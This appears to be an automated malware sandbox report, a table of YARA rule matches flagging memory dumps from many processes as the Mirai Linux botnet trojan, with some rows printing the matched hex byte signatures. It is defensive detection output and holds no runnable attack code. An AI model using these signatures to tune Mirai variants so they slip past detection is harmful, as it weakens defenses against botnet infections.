6546.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6546.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6546.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7152.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7152.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6584.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6584.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6584.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6327.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6327.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6327.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6327.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6327.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7174.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6614.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7100.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7100.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7100.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7012.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7012.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7012.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7012.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7012.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6284.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6284.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6611.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6611.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6611.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7345.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7345.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7345.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7152.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7152.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7152.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7337.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6284.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6284.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6284.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6614.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6614.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6614.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7337.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7337.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6358.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7337.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7337.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6358.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6853.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6853.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6853.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6853.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6853.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7174.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7174.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7174.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7337.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6358.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6358.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7023.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7023.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7023.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7023.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7023.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7023.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6414.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6404.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6404.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6404.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6404.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6404.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6404.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6416.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6416.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6416.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6416.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6416.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6416.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6299.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6299.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6299.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6299.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6299.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6299.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7322.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7322.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7322.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7322.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7322.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7322.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7433.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7433.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7433.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7433.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7433.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7433.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6319.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6319.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6319.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6319.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6319.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6319.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6368.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6913.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6913.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6913.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6913.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6913.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6913.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7096.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6820.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6820.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6820.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6820.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6820.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6820.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6452.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6452.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6452.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6452.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6452.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6452.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6819.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6819.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6819.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6819.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6819.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6819.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7085.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7085.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7085.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7085.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7085.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7085.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7329.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7329.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7329.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7329.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7329.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7329.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6856.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6856.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6856.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6856.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6856.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6856.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7258.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7258.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7258.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7258.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7258.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7258.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6849.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6849.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6849.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6849.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6849.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6849.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6564.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6564.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6564.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6564.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
